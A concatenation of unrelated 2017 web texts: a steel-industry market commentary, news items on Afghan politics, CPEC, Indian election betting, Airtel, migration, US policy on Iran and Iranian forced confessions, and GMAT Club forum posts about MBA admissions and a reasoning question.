Imports have captured almost 28% of the U.S. market, year to date. The largest offshore suppliers were South Korea, Turkey, Japan, Taiwan and Germany. Steel imports had dipped briefly last year due to Commerce Department anti-dumping and anti-subsidy duties imposed on steel products from China and some other countries.

These cheap imports hurt the margins of American steel players like Steel Dynamics Inc., United States Steel Corp., ArcelorMittal, AK Steel Holding Corp. and Nucor Corp.

Geopolitical Tensions

Performance of some key emerging and developing economies has deteriorated due to internal structural issues, lower commodity prices associated with Chinas economic slowdown, and escalating political instability. Geopolitical tensions and political instability in the Middle East and Africa continues to have a negative effect. Political uncertainty in the Brazilian economy has resulted in a sharp decline in steel demand.

Can the Auto Sector Sustain the Momentum?

The global automotive sector is reporting a strong performance in 2017 with an especially strong performance in Turkey and Mexico. However, in the United States and China the auto sector could moderate and this trend is likely to extend to other countries in 2018.

Excess Capacity: Perennial Problem

The biggest obstacle to persistent growth and profitability in the steel industry is excess capacity. The industry is under relentless pressure caused by years of excess steel-making capacity, further aggravated by weak demand and uneven economic growth.

To solve this problem, steelmaking capacity needs to be reduced for the industrys profit margin to reach a sustainable level, and to raise the capacity utilization rate from below 80% levels. The industry remains highly fragmented compared with other global businesses. However, the restructuring and consolidation needed to eliminate overcapacity is progressing at a slow pace.

Impact of Low Oil Prices

The energy sector, which was once buoyant due to shale discoveries and rising production of crude oil, accounts for 10% of steel consumption in the United States. Steel is necessary to make rigs and transport oil. Steel demand from the energy sector is being impacted as exploration companies have reduced capital expenditure budgets in the wake of tumbling oil prices.

Steel products used by the energy industry are also known as oil country tubular goods (or OCTG). U.S. Steel being the biggest supplier of these goods in North America is bearing the brunt of it.

Strong Stocks that Should Be in the News

Many are little publicized and fly under the Wall Street radar. They're virtually unknown to the general public. Yet today's 220 Zacks Rank #1 "Strong Buys" were generated by the stock-picking system that has nearly tripled the market from 1988 through 2015. Its average gain has been a stellar +26% per year.See these high-potential stocks free >>.

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Past performance is no guarantee of future results. Inherent in any investment is the potential for loss. This material is being provided for informational purposes only and nothing herein constitutes investment, legal, accounting or tax advice, or a recommendation to buy, sell or hold a security. No recommendation or advice is being given as to whether any investment is suitable for a particular investor. It should not be assumed that any investments in securities, companies, sectors or markets identified and described were or will be profitable. All information is current as of the date of herein and is subject to change without notice. Any views or opinions expressed may not reflect those of the firm as a whole. Zacks Investment Research does not engage in investment banking, market making or asset management activities of any securities. These returns are from hypothetical portfolios consisting of stocks with Zacks Rank = 1 that were rebalanced monthly with zero transaction costs. These are not the returns of actual portfolios of stocks. The S&P 500 is an unmanaged index. Visit https://www.zacks.com/performance for information about the performance numbers displayed in this press release.



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One of Afghanistan's most powerful regional politicians has vowed to fight his ouster as governor of the northern province of Balkh, posing a potential threat to the shaky, Western-backed governing coalition of President Ashraf Ghani.

The presidential palace said on December 18 that it had approved the resignation of Atta Mohammad Noor, who goes by the nickname "King of the North" and is a leading figure in Jamiat-e Islami, a party which represents Afghanistan's Tajik ethnic group.

Noor had used his position in Balkh, on the northern border of the country, as a power base to push for a major role on the national stage and was seen as a top rival of Ghani.

While Kabul portrayed Noor's departure as a "resignation," he called it a "dismissal" and said he will fight the move.

"My dismissal has no legal or legitimate basis," Noor said on Afghan national television. "For now, we are only resorting to civil action, but if this atrocity continues, there are many other options."

Noor's Jamiat-e Islami party in a statement on social media strongly condemned what it called a "one-sided decision," saying it was "hasty, irresponsible, against the security ... and in contradiction of the principles of the national unity government."

A Jamiat spokesman in an interview with the German news agency dpa said it is possible party members will withdraw from their posts in the unity government, potentially destabilizing the government. He said the party would decide at a meeting on December 19.

Noor is one of several powerful regional and ethnic leaders whom Ghani has struggled to control since he took office after a disputed election in 2014. Ghani, a Pashtun, has tried previously to remove Noor, but has also discussed a possible role in the government for him.

Ghani's office said Noor submitted his resignation several months ago, but the move did not take effect until Ghani approved it on December 18, when he announced that Mohammad Daoud, also from Jamiat, will become the next governor of Balkh Province.

Noor, who has demanded senior positions in the government for some of his allies, said his resignation had been offered with conditions attached, but those conditions were not respected.

"Since they didn't meet their responsibilities, I don't accept it," he said.

Ghani's national unity government, formed after the 2014 election forced him into an uneasy power-sharing arrangement with his former rival Abdullah Abdullah from Jamiat, retains the support of the United States and other Western nations.

But it has faced mounting criticism from a growing array of opposition groups.

Parliamentary elections originally due to be held next year are in doubt and former President Hamid Karzai has called for a loya jirga, or traditional grand council of political leaders and elders, to decide the future of the government.

Noor's removal also comes at a time when tensions between Tajiks and Pashtuns, Afghanistan's two biggest ethnic groups, have been rising.

It heightens uncertainty ahead of a presidential election in 2019. Noor has previously hinted that he may run for the presidency, while Ghani has not yet said whether he will run again.

The confrontation with Noor comes several months after Vice President Rashid Dostum, an ethnic Uzbek, fled to Turkey after he was accused of arranging the rape and torture of a political rival in 2016.

Noor recently called for Dostum's return. Earlier this year, he met in Turkey with Dostum as well as Deputy Chief Executive Mohammad Mohaqiq, a senior figure in the mainly Shi'ite Hazara ethnic community, to form what they called the "Coalition for the Salvation of Afghanistan."

With reporting by AFP, dpa, RFE/RL's Afghan Service, and Reuters
(Reuters)  Beijing and Islamabad have unveiled a long-term cooperation plan in economic development envisioning cooperation until at least 2030 in areas ranging from infrastructure to information technology.

It is the first time the two countries have announced how long they plan to work together on the project, known as the China Pakistan Economic Corridor (CPEC).

The long-term CPEC plan was announced at a ceremony in Islamabad on December 18. Pakistani Minister for Planning Ahsan Iqbal and Chinese Ambassador Yao Jing attended the ceremony.

The document did not, however, give specific details on the projects, such as terms and conditions of investments and loans, nor did it provide details for Special Economic Zones, some of which are already underway in Pakistan.

CPEC, a flagship of Beijing's Belt and Road initiative to build a new "Silk Road" of land and maritime trade routes across more than 60 countries in Asia, Europe, and Africa, represents a $57 billion investment in Pakistan.

The long-term plan highlighted key cooperation areas between the two neighbors, which include connectivity with road and rail infrastructure, information network infrastructure, energy, trade and industrial parks, agriculture, poverty alleviation, and tourism.
Johnnyqiao wrote:

Hi Everyone,



I am a 27 year old Chinese male from Toronto. I graduated from University of Toronto (BBA) with 3.22 GPA. After I graduated I worked for back office and retail banking at the big five banks in Canada. I was fired twice during my career, once from a top bank in Canada after I worked there for a little over a year(this was the back office position supporting the Corporate banking division). It took me 3 month to find employment through the help of a friend. I started to work in another big bank in the retail banking division as a Financial Advisor, but I did not like the job as I want to work for Capital Market in the front office. After 10 month in the job I left to join another retail banking as a Financial Advisor due to higher pay and other issues. After 4 month, I was fired during training because I didn't get along with one of the boss in training there were also some other issue on my side too like punctuality. I felt like a total failure having been fired twice and doing so poorly. I tried to recover by taking 2 weeks of road trip to Prince Edward Island and to Chicago. Then I went back to China for a month after not being back ever since I came to Canada at 9 years old.



Now my relatives wanted me to succeed and felt that the only way to get to my dream career of investment banking is to pursue a top MBA program. They agreed to provide me with all the funding once I get accepted. My family are all fixated on the idea that I get a top MBA.



I started to study for the GMAT 2+ month ago. First I picked up GMAT Princeton Review and GMAT McGraw and spent 1 month going through these resources. After, I did a GMAC mock exam and only got 500. I skip AWA and got Q38 V21. I had a lot of issue with timing and managed to do only 8 questions for IR, 29 questions for Quant, and 25 questions for Verbal.



Then I got the think its the key to getting a good score and started to focus on my weakness, verbal, but I struggle with the answers on (sometime I find my self spending 30min+ reading a single SC explanation and I still can't understand it).



I was introduce to by a friend and currently I am going through the SC guide. But I feel I am moving in a very slow pace as I still haven't finished the SC guide in 3 weeks. I feel that I still need to go back and review SC again as I didn't grasp most of the concept.



Now I attempt the GMAC mock exam again yesterday and got 510 (only 10 mark higher O.o) I still find my self struggling with time (but a lot better now since I managed to do all the question) and for 3 to 4 questions at the end of verbal I had to guess due to lack of time. I probably guessed 2 questions for the quant part too. ending score is Q42 V19 IR5.



Now I feel very unmotivated I feel I am becoming slower at reading comparing to a month ago. Verbal and grammar has always been my bane as you can tell from reading this post. I am getting constant pressure from my parents and relative asking about progress. I feel very disconnect as I live uptown and haven't hung out with my friends ever since I was back from China.



I feel completely lost and hopeless due to unemployment and no improvement for over 2 month of full time study. I need some help and guidance.



Do you guys think its possible for me to get accepted to a decent MBA program in the State with all this that had happened to me.

Hi Johnny,From reading your post, your problems are multifaceted. You probably need to fix your psychological issues first as this is probably linked to your prep and performance issue as well.To avoid writing too much, I think you need to first get a perspective and realize how lucky you are and how common your predicament is. Just think of the poverty and lack of opportunities in developing countries ( even in the developed ones) and how you are still in the top percentile of the global economic and welfare scale.Now lets get back to business schools and GMAT. By reading across this site and others, you will find stories of others in worse situation than yours and how they have been able to get into a good MBA program. Also, you need to be patient and methodical, this might actually be the root of your problem. Just try to breath and relax and communicate honestly to those who are supporting you that you are struggling, but will persevere - I am sure they want the best for you and would not want unnecessary pressure on you- don't put the pressure on yourself.You came to the right place and you are on a good track already scoring lower 40's in the Quant within of months, as for Verbal you will find that it's not that easy to master, yet that's why you can always improve. Just stick to a study plan and get focused on what you need to do in order to achieve a good score. Most importantly do not beat yourself up.On the job issue, you are still young and luckily have some experience, albeit a checkered one, so see if you can find another job. Again, relax and try to be introspective about what you really want. This introspection will also help with your MBA essays and school choice.Similarly, you said you want to be an Investment banker, is that really what you want or you are just keeping up with the Jones or rather want to impress your family. Again, there is no one path to success in life and it's about time you start trying to understand your reasoning for acting one way or the other so that you don't find yourself in the same situation again.In summary, be grateful,try to relax, get some introspection and communicate honestly with your love ones. Have a plan to get better in your endeavors and most importantly don't give up. Good luck!
danj wrote:





Which of the following, if true, most seriously weakens the argument expressed above?



a) The high school system in Gotham succeeds in giving students a good education at considerably less cost than do most systems.

b) Several cities have found that overcrowding in the schools is not always associated with lower reading scores.

c) Gotham schools have a greater teacher-to-student ratio than most other school systems.

d) Students' reading skills have not declined in other cities where the high schools are just as crowded as those of Gotham.

e) Schools are not overcrowded in many cities where high school reading scores have declined more than they have in Gotham.



Show Spoiler Poster's comment Please justify your options. I feel two options (d & e) are correct. Stimulus suggests that overcrowding in the schools (cause) leads to decline in reading skills among high school students in Gotham (Effect).

Option d states effect does not occur even when the cause occurs.

Option e states effect occurs even when cause has not occurred.

How do you justify one option over the other as both seem to weaken the argument. Reading skills among high school students in Gotham have been steadily declining, which can only be the result of overcrowding in the schools.Which of the following, if true, most seriously weakens the argument expressed above?a) The high school system in Gotham succeeds in giving students a good education at considerably less cost than do most systems.b) Several cities have found that overcrowding in the schools is not always associated with lower reading scores.c) Gotham schools have a greater teacher-to-student ratio than most other school systems.d) Students' reading skills have not declined in other cities where the high schools are just as crowded as those of Gotham.e) Schools are not overcrowded in many cities where high school reading scores have declined more than they have in Gotham.



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Reading skills have declined.Schools are overcrowded.Conclusion: Overcrowding is necessary for decline in skills.The use of the word "only" shows that the author considers "overcrowding" necessary for decline in reading skills. It is our "only if" construct.Only if overcrowding, then decline in reading skills.We need to weaken this i.e. we need to weaken that overcrowding is necessary for decline in reading skills.a) The high school system in Gotham succeeds in giving students a good education at considerably less cost than do most systems.Cost is irrelevantb) Several cities have found that overcrowding in the schools is not always associated with lower reading scores.Overcrowding may not always lead to lower reading scores. This says that overcrowding may not be sufficient. Our argument does not worry about sufficiency. We are concerned about necessity.c) Gotham schools have a greater teacher-to-student ratio than most other school systems.Teacher-student ratio is irrelevant. We are talking about overcrowding - too many students in one school. We don't know the parameters on which "too many" is measured.d) Students' reading skills have not declined in other cities where the high schools are just as crowded as those of Gotham.Same as option (B). Overcrowding is not sufficient to cause lower reading skills.e) Schools are not overcrowded in many cities where high school reading scores have declined more than they have in Gotham.Shows that without overcrowding too, decline in reading skills can occur. So overcrowding is not necessary. Weakens our argument.Note that the author is applying the principle to Gotham. We need to weaken the principle. For that we can show how it doesn't apply necessarily and hence it may not apply to Gotham either.Answer (E)Note: I may have worded the argument differently to make it clearer._________________
By PTI: London, Dec 19 (PTI) Mindfulness training can reduce stress during exams and support students at risk of mental health problems such as anxiety and depression, a study has found.

Recent years have seen increasing interest in mindfulness, a means of training attention for the purpose of mental wellbeing based on the practice of meditation.

There is evidence that mindfulness training can improve symptoms of common mental health issues such as anxiety and depression.

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However, there is little robust evidence on the effectiveness of mindfulness training in preventing such problems in university students.

"Given the increasing demands on student mental health services, we wanted to see whether mindfulness could help students develop preventative coping strategies," said Geraldine Dufour, Head of Counselling Service at the University of Cambridge in the UK.

In total, 616 students took part in the study published today in The Lancet Public Health journal.

They were randomised across two groups, which were offered access to comprehensive centralised support at the University of Cambridge Counselling Service in addition to support available from the university and its colleges, and from health services including the National Health Service.

Half of the cohort (309 students) were also offered a mindfulness course. This consisted of eight, weekly, face-to- face, group-based sessions.

Students were encouraged to also practice at home, starting at eight minute meditations, and increasing to about 15-25 minutes per day, as well as other mindfulness practices such as a mindful walking and mindful eating.

Students in the other half of the cohort were offered their mindfulness training the following year.

The researchers assessed the impact of the mindfulness training on stress (psychological distress) during the main, annual examination period in May and June 2016, the most stressful weeks for most students.

The mindfulness course led to lower distress scores after the course and during the exam term compared with students who only received the usual support.

Mindfulness participants were a third less likely than other participants to have scores above a threshold commonly seen as meriting mental health support.

Distress scores for the mindfulness group during exam time were lower, whereas the students who received the standard support became increasingly stressed as the academic year progressed.

The researchers also looked at other measures, such as self-reported wellbeing. They found that mindfulness training improved wellbeing during the exam period when compared with the usual support.

"This is, to the best of our knowledge, the most robust study to date to assess mindfulness training for students, and backs up previous studies that suggest it can improve mental health and wellbeing during stressful periods," said Julieta Galante from Cambridge, who led the study. PTI MHN SAR MHN

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sharkdd wrote:

Hey everyone,

Just wanted to hear some opinions. I was admitted into Ross with no money and Wisconsin on a full-ride (I also got into Mendoza with around a 67% scholarship but just have a gut feeling that it wouldn't be a good fit for me).



Anyways, I volunteered internationally for a few years after undergrad and have been working in marketing for a financial services company since then. I'm looking to switch into brand management with the goal of ending up at a large CPG company (P&G, Unilever, etc.) after graduation.



Any advise or insights would be appreciated. Thanks!

Exact same goal as you and also into Ross without $. Once the money component comes into it you start to realise how much you actually care about that haha but with CPG brand management the goal I think this isn't even a choice. Definitely go Ross, the ROI in salary and recruiting will makeup for the tuition difference (in my opinion and why I'm going).
islander19 wrote:

I'm thrilled to have been admitted to three great programs and now struggling to decide where to attend!



I'm a U.S. citizen but have lived abroad since college working a variety of jobs in small developing countries. I'm older as well - will be 33 at matriculation. My goal is to shift to working in the renewable energy sector although I'm also interested in consulting (maybe too old and odd of a background for that? Maybe good GMAT would help?).



I was offered a 50% scholarship at Darden, nothing at the other two.



Tuck is the only campus I visited due to my current remote location. I loved the campus (and don't at all mind the remote setting) and like the idea of the tight-knit and active community. The strong recruiting and alumni network are also big pluses. The cost however is extreme and I'm not positive about my prospects for a very high paying job afterwards given my age and background.



LBS has a big appeal due to its diversity and global focus, and living in London for two years would be a great adventure. I'm open to working almost anywhere in the world after graduation so don't mind at all the location outside the U.S. The cost is also somewhat lower due to the weaker Pound after Brexit.



Darden's reputation for teaching and academic excellence is a big draw and Charlottesville sounds like a really nice place. The lower cost due to the scholarship is certainly a big plus!



I feel like I'd be happy at any of these schools. I'm in the process of reaching out to current students and alumni to learn more but would appreciate any other input as well!



Thanks for your advice!
A bookie told Mail Today that the rates were Rs 1.50 for 110 seats, Rs 3.50 for 125, and Rs 7 for 150 seats.

People celebrate on the streets of Delhi after BJP's victory in Himachal and Gujarat Assembly elections on Monday.

By Mail Today Bureau: The Bharatiya Janata Party's win in Gujarat and Himachal Pradesh has not only left the party workers jubilant but has also made punters cash in on the victory - they made huge money by placing their bets on BJP's win.

Satta Bazzar insiders claim a whopping Rs 1,000 crore was riding on Gujarat election alone and most of the punters had placed their bets on the BJP in its sixth consecutive victory in the state as they expected the party to bag 100-105 seats, while they tipped Congress to gain 78-100 seats.

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As all exit polls had predicted a BJP win in Gujarat, the prediction by the punters was no different either.

"The bookies had placed bets to the tune of Rs 1,000 crore on the Gujarat assembly elections having predicted 103 seats for the BJP. The Congress, on the other hand, was given between 78 and 100 seats," said punters.

Ahmedabad-based bookie told Mail Today that bookies at Satta Bazaar placed their money on Modi magic despite anti-incumbency factor, GST and other odds against the party.

"BJP, which has been ruling in Gujarat for over 22 years, did not expect to win more seats than it did in 2012. But punters here believed that it would be a cakewalk for the BJP," they added.

The odds on the BJP winning 100 seats to form the government was 0.32 paise over every rupee bet which meant if a punter bet on the BJP winning at least 100 seats, he would win Rs 1.32.

The odds on the BJP winning 115 seats were pegged at 1:2.15. The odds on Congress winning even 80 seats were 1:2.15, and the bookies would pay Rs 2.15 over every rupee.

Typically, the odds are the lowest on the most likely outcome of the match. Satta Bazaar trends are widely followed as the betting market usually gets it right on India's elections.

Several reports have suggested that rates were divided into several segments as the rates were higher for BJP's possibility to win over 110 seats.

A bookie told Mail Today that the rates were Rs 1.50 for 110 seats, Rs 3.50 for 125, and Rs 7 for 150 seats.

Bookies say punters from other states did place their money on Congress as it showed a strong sign of improving its vote share but among Gujarati punters Congress gains were not seen as a serious challenge to the Modi-Amit Shah duo in their home state.

Also, in Himachal Pradesh, bookies expected the BJP to form the government with a simple majority.

Bookies said the HP electorate flips the government in the state in every election.

HP was being ruled by the Congress. The odds on the BJP winning 35 seats in the 68-seat HP Assembly were 0.22 paise on a rupee; the odds on the Congress winning 30 seats were 1:2.75.

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New Delhi, Dec 19 (IBNS):Bharti Airtel Limited, popularly known as Airtel, has reportedly offered to return Rs 190 crore of LPG subsidy of customers following the ban imposed by the Unique Identification Authority of India (UIDAI) regarding the alleged fraud entered into by the company, according to media reports on Tuesday.

Airtel has written to National Payments Corporation of India (NPCI) to return the subsidy along with interest to the consumers' original bank accounts that were linked to the Direct Benefit Transfer (DBT), reports said.

The Delhi-headquartered leading global telecommunications company was the first entity to get the nod from the Reserve Bank of India (RBI) to launch the Payments Bank.

A payments bank is like any other bank, but operating on a smaller scale without involving any credit risk.

The Economic Times defined it as a bank that can carry out most banking operations but can't advance loans or issue credit cards. It can accept demand deposits (up to Rs 1 lakh), offer remittance services, mobile payments/transfers/purchases and other banking services like ATM/debit cards, net banking and third party fund transfers.

Airtel Payments Bank went live in December 2016.

Almost a year later, the bank is embroiled in alleged fraudulent transactions; according to media reports, over Rs. 167.7 crore LPG subsidy of 37.21 lakh consumers has been deposited in Airtel Payments Bank accounts till November-end, without taking the "informed consent" of users.

As the alleged fraud came to light, the UIDAI, on Saturday, temporarily barred Bharti Airtel and Airtel Payments Bank from conducting Aadhaar-based SIM verification of mobile customers using eKYC process, as well as e-KYC of payments bank clients, reports said.

According to media reports, by the end of November, Airtel had transferred Rs. 167.77 crore of subsidy of nearly 37.21 lakh customers to Airtel Payments Bank accounts. The consumers were enrolled with Indian Oil Corporation, Hindustan Petroleum Corporation and Bharat Petroleum Corporation.

With the temporary ban on Airtel ruled by UIDAI, the company will not be able to conduct the electronic verification or link mobile SIMs of its customers with their 12-digit aadhaar ID. However, the company will be able to conduct the earlier mode of using forms and physical verification.


Evidence overwhelmingly shows that migrants generate economic, social and cultural benefits for societies everywhere, said Secretary-General Antonio Guterres in his message commemorating the International Day, marked annually on 18 December.



Yet, he continued, hostility towards migrants is unfortunately growing around the world. Solidarity with migrants has never been more urgent.



Climate change, instability and growing inequalities mean [migration] is here to stay, Guterres stated.



As such he called for effective international cooperation in managing migration to ensure that its benefits are most widely distributed and that human rights of all concerned are properly protected  as recognized by the UN 2030 Agenda.



For his part, the Director-General of the International Organization of Migration (IOM), William Lacy Swing, made an urgent call for safe migration in a world on the move, which is the theme of the 2017 edition of the International Day.



While we live at a time when a privileged elite considers global mobility virtually its birth-right, it is denied to countless others trapped in hopelessly bad economic or conflict circumstances, he emphasized in an opinion piece.



Swing called migration a human reality to be managed, not a problem to be solved as he underscored the benefits of the Global Compact for Migration that is expected to be adopted by the end of 2018, once negotiations by UN Member States are concluded.



If we stop to think about the strict and mandatory rules which enable over 34.5 million flights per year that enable the equivalent of 44 per cent of the world's population to take off and land safely, it should be possible to find some common rules in order to allow many more to travel, migrate and return home freely and safely, he stressed.



He emphasized the need to assist migrants, saying if we don't come up with solutions, the smugglers will do it for us, at great cost to human life and to the fabric of our societies.



Calling migration a global phenomenon driven by many forces, Audrey Azoulay, Director-General of the UN Educational, Scientific and Cultural Organization (UNESCO), meanwhile said in her message that UNESCO is acting to advance the migration-related commitments of the 2030 Agenda for Sustainable Development, adding that the agency's work with UN partners in shaping a global compact for safe, orderly and regular migration.



In parallel, UN human rights experts said: States can play a significant role in promoting positive perceptions about migrants in the general public, by using and promoting a positive discourse, and by presenting facts and studies, including about the contribution of migrants to societies.



Migration itself is a natural part of human existence. It is not a crime and it is not a problem. This approach to migration governance shifts emphasis away from closing borders and keeping people out, and towards creating accessible, regular, safe and affordable migration channels, and promoting and celebrating diversity, they stated.



Photo: IOM/Muse Mohammed (file)







Source: www.justearthnews.com










Kabul, Dec 19 (IBNS): The Afghanistan government has welcomed US President Donald Trump's new national security strategy and said it affirmed the enduring U.S.  Afghanistan strategic partnership.

"The NSS and the U.S. South Asia strategy are the cornerstones upon which our shared efforts to defeat terrorism and bring stability to Afghanistan are built. Our partnership, which reflects a renewed U.S. commitment, will set the conditions to end the war and finally bringing peace to Afghanistan," read a statement issued by Afghanistan President Ashraf Ghani's Office.

"We welcome that the strategy aims to strengthen peace and stability in the region especially through diplomatic means," read the statement.

"The National Unity Government is committed to the principle of mutual respect and cooperation among states in the region. We have always worked and shall continue to do so for a peaceful region with increased connectivity for the shared economic development of our people in this region. To this end, we will continue to work with our neighbors close and far in the region," it said.

US President Donald Trump has shared new national security strategy on Monday.

The newly unveiled strategy asked Pakistan to take decisive action against terrorist groups operating on their territory.
Ottawa, Dec 19 (IBNS): Thanking Canada PM Justin Trudeau at The Children's Wish Foundation, Syrian refugee Marwa Harb said the PM gave her a better life and future, media reports said.

Harb, who came to Canada along with her family last year, was flown by the Foundation to Ottawa to meet Trudeau.

After the meet, Harb said: "When I first ... came to Canada here, I was asking, 'Who's helping us? Who's this man, who make this happen? Who saved my life? Who bring my life back?' Everyone told me, Justin Trudeau," she said. "He give me a better life and new future."

Harb along with her parents and seven siblings flew from war-struck Syria to Canada a year ago.

Trudeau tweeted to say: "What a pleasure to host the Harb family on the Hill today. Marwa, I was touched by your story and Im so glad you & your family are getting the support you need in Halifax. My thanks to @Childrens_wish for making todays visit a reality."

Harb even said she was given a tour of Parliament by the Canada PM, CBC News reported.

What a pleasure to host the Harb family on the Hill today. Marwa, I was touched by your story and Im so glad you & your family are getting the support you need in Halifax. My thanks to @Childrens_wish for making todays visit a reality. pic.twitter.com/KCHwXzJ4DD  Justin Trudeau (@JustinTrudeau) December 18, 2017

Harb's life was difficult as she lived three years in a tent in Jordan that too with a manual wheelchair due to her scoliosis.

She even could get the surgery she needed after coming to Canada. She further wants to carry on her studies in law.



Image: twitter.com/JustinTrudeau
As it relates to Iran, the Strategy simply reaffirms the positions that the president has been advancing since before he took office. The Trump administration has overseen a dramatic shift in tone in that area of foreign policy, moving away from conciliatory policies that led to the 2015 Iran nuclear agreement, and toward a policy of more assertiveness and direct confrontation. On Monday, the president effectively called for more of the same, explicitly putting Iran at the heart of Middle Eastern affairs.

Fox News highlights the fact that the document puts the Iranian theocracy side-by-side with radical jihadist terrorist organizations as the main sources of instability and insecurity in the region. It also suggests that these will be countered in coming years by projects that deliberately expand Americas global influence and exert counter-pressures on the Iranian regime and related threats.

The document, however, is short on specific detail about the tools and tactics that the White House will use to reverse the growth of Iranian influence over regional combat zones and Shiite militant populations. Those details will presumably be included in the National Military Strategy document, which is still forthcoming and generally places more emphasis on individual foreign adversaries and obstacles.

As such, it is not yet clear whether the administration will satisfy the critics of recent American policies regarding Iran, many of whom have described the president as having the correct tone in this area but lacking a precise plan for how to accomplish the administrations ends. Nevertheless, the National Security Strategy serves as a significant re-affirmation of the alignment between the overall perspective of these critics and the US president. And it comes just days after that perspective was described, with relevant policy recommendations, by four former American ambassadors at a Senate Armed Services Committee hearing.

The Washington Free Beacon quoted Stuart Jones, former ambassador to Jordan, saying in that hearing on Thursday, With the ISIS threat destroyed, malign Iranian interference is now the primary security challenge facing the region. And whereas the president has made it obvious that his administration recognizes the seriousness of that challenge, there are major questions swirling around what role the US will take in Syria and Iraq now that Iranian proxies have become entrenched in areas where they were previously fighting ISIS.

But the same hearing also called attention to the fact that Sunni jihadism like that of ISIS has not ceased to be a threat just because that would-be caliphate has been largely replaced by Iran. In fact, the Free Beacon also quoted former Ambassador to Turkey Eric Edelman as anticipating the presidents remarks on the National Security Strategy, specifically by identifying Irans quest for regional hegemony and the persistence of Sunni Islamic extremism as two primary, intertwined threats.

Edelman also reportedly reiterated the critiques of a seemingly underdeveloped White House strategy, identifying the retention of a US troop presence in Syria as a necessary first step but also as not being enough on its own. The former ambassador urged the development of a more comprehensive strategy that takes advantage of Irans strategic overextension, which has seen the direct involvement of the Iranian Revolutionary Guard Corps in Syria, Iraq, Yemen, and elsewhere, even as the regime faces popular unrest and domestic crises at home.

In between the Committee hearing and the presidents announcement on Monday, World Net Daily issued a report that helped to further underscore the severity of the Iranian threat and the fact that it is not only a challenge to Middle Eastern stability but also a challenge to Western interests throughout the globe. It observed that Abdollah Motevalian, a columnist for Irans Javan newspaper, recently underscored Irans fiercely anti-Western ideology by writing that Iran would be at the heart of a new world order built upon the ruins of the Western world order.

Javan is considered particularly close to Supreme Leader Ali Khamenei, meaning that its viewpoints can be regarded as those that override any contrary initiatives that might be pursued by other Iranian officials, all of whom are required to defer to the judgment of the top clerical authority.

The positions advanced by President Hassan Rouhanis lesser authority were initially regarded as partial justification for the conciliatory policies pursued by Western nations during the era of Trumps predecessor, Barack Obama. But critics of the Obama White House maintain that important leverage was given away to preserve the 2015 nuclear deal, all while Rouhani was failing to function as the moderating force that he was supposed to be.

The latter point has been borne out by the persistence of Irans domestic crackdowns and its foreign policy provocations, backed up by rhetoric like that which was published in Javan. And on Monday, around the time that Trump was clarifying his contrary National Security Strategy, Politico issued a report suggesting that the conciliation offered by the Obama administration had been subject to even more criticism than had previously been publicized.

That report quoted agents with the Drug Enforcement Agency as saying that the Obama White House had undermined and ultimately shut down a project that was aimed at disrupting a drug supply network that the Iran-backed Hezbollah terrorist group used to finance terrorism.

We watched them become an international criminal conglomerate generating billions of dollars for the worlds most dangerous activities, including chemical and nuclear weapons programs and armies that believe America is their sworn enemy, one ex-agent said, alleging that the agency was prevented from pursuing Hezbollah leaders specifically out of fear of upsetting the Iranians in the midst of nuclear negotiations.

President Trump clearly has no such concerns, as he has threatened to single-handedly tear up that same agreement while also targeting Tehran with fiery rhetoric about the regimes support of terrorism and its domestic human rights abuses. The newly-released National Security Strategy reinforces the White Houses newly confrontational position and its reversal of Obama-era policies. But it still remains to be seen whether the administration will develop a fully-articulated plan that is satisfying to its supporters.
However, the case against him was bolstered on Sunday, approximately a week after the judiciary announced it had upheld the death sentence. The state television segment reportedly included confessions from Jalali himself, although these naturally came under immediate suspicion in the international press and human rights community on account of Jalalis previous denials, the general lack of evidence, and the Islamic Republics long track record of securing forced confessions under torture, especially in political cases like those brought against Iranians who are also Western nationals.

In addition to closely following the confirmation of his death sentence, the media report on Jalalis case also came within weeks of similar propaganda broadcasts about at least two other imprisoned Westerners: the American graduate student Xiyue Wang and the Iranian-British charity worker Nazanin Zaghari-Ratcliffe. But in those cases, the defendants, who have been sentenced to 10 and five years in prison respectively, did not offer confessions. Instead, the case against them was presented to the public on the basis of such things as a pay stub from Zaghari-Ratcliffes previous employer, a charitable wing of the British Broadcasting Corporation.

The 38-year-old woman was the subject of two such state television features, which were broadcast in the run-up to a visit to Tehran by British Foreign Secretary Boris Johnson, who reportedly discussed her case with Iranian officials. It has been suggested that the propaganda dump was intended in part to raise the profile of the case in order to encourage the British government to follow through on repaying a decades-old debt-cum-ransom payment worth more than 500 million dollars.

Several Western nationals currently being held in Iran have been referred to as hostages, and Jalali is no exception. In this sense, it is possible that the confirmation of his death sentence, followed by the similar propaganda dump and possible forced confession, was intended to raise the profile of his case, as well. But whatever Tehrans motivations for the latest action, there is certainly cause for skepticism about the alleged confessions that emerged on Sunday.

The problem of forced confessions in the Iranian criminal justice system is well-known. In fact, it was a major topic in a letter written by the political prisoner Narges Mohammadi on December 12. Predating the news of Jalalis confession by several days, the letter instead focused on the cases of journalists Sasan Aghaei and Yaghma Fashkhami, who have been held in solitary confinement and without charge since August.

If there is evidence against them, why havent they been put on trial? asked Mohammadi, a prominent human rights activist who is serving a 16-year sentence for her peaceful activities. The more likely scenario is that there is no evidence and the suspects themselves must confess so that evidence can be fabricated against them.

The letter went on to highlight the prevalence of confessions extracted under torture, threats, and denial of medical treatment, according to the Center for Human Rights in Iran. It also called attention to the torturous use of solitary confinement, by which law enforcement officials routinely ignore the Islamic Republics own laws. Furthermore, Mohammadi challenged lawmakers and the administration of President Hassan Rouhani over the lack of due process and other violations of prisoners rights.

These issues have been on prominent display in the cases against Western nationals, and certainly in the case against Ahmadreza Jalali. The rejection of his sentencing appeal was the result of a secret process by the Iranian Supreme Court, which informed his defense lawyers of the outcome without giving them any opportunity to present a defense.

Amnesty International has worked to call attention to this and other aspects of his case, including the apparent fact that Jalali was tortured during his three-month solitary confinement in Evin Prison prior to his trial. This torture was evidently unsuccessful in eliciting a false confession, as Jalali not only continued to maintain his innocence but also wrote a letter from prison explaining that he had previously been approached by the Ministry of Intelligence and asked to use his contacts in the West in order to spy for Iran, and that he was arrested after rejecting this request.

But there are various different forms of torture that are employed systematically by Iranian authorities, and naturally some detainees break under the strain of one after withstanding others. These tactics include threats against a detainees family, as well as continual denial of access to medical care. This latter practice was also newly highlighted by CHRI on Friday, with specific reference to the case of Reza Shahabi, who has been arrested multiple times for his labor rights activism.

Shahabi was granted early release on medical grounds from a six year sentence in September 2014, but was arbitrarily ordered to return to prison this year and informed that he would have to complete his original sentence as well as serving an additional year. Now CHRI reports that he has been denied transfer to a hospital despite suffering a stroke.

